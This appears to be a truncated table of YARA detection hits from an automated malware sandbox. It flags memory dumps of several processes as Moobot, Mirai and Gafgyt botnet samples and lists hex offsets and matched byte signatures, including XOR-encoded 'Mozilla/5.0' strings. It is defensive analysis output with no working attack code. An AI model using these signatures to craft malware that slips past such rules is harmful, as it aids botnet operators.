6504.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7103.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6908.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6908.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6908.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6908.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6908.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6908.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7252.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6481.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6481.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6481.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6481.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6481.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6481.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7010.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7010.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7010.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7010.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7010.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7010.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6840.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7224.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7189.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7189.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7189.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7189.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7189.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7189.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6292.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6292.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6292.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6292.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6292.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6292.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6256.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6466.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6466.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6466.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6466.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6466.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 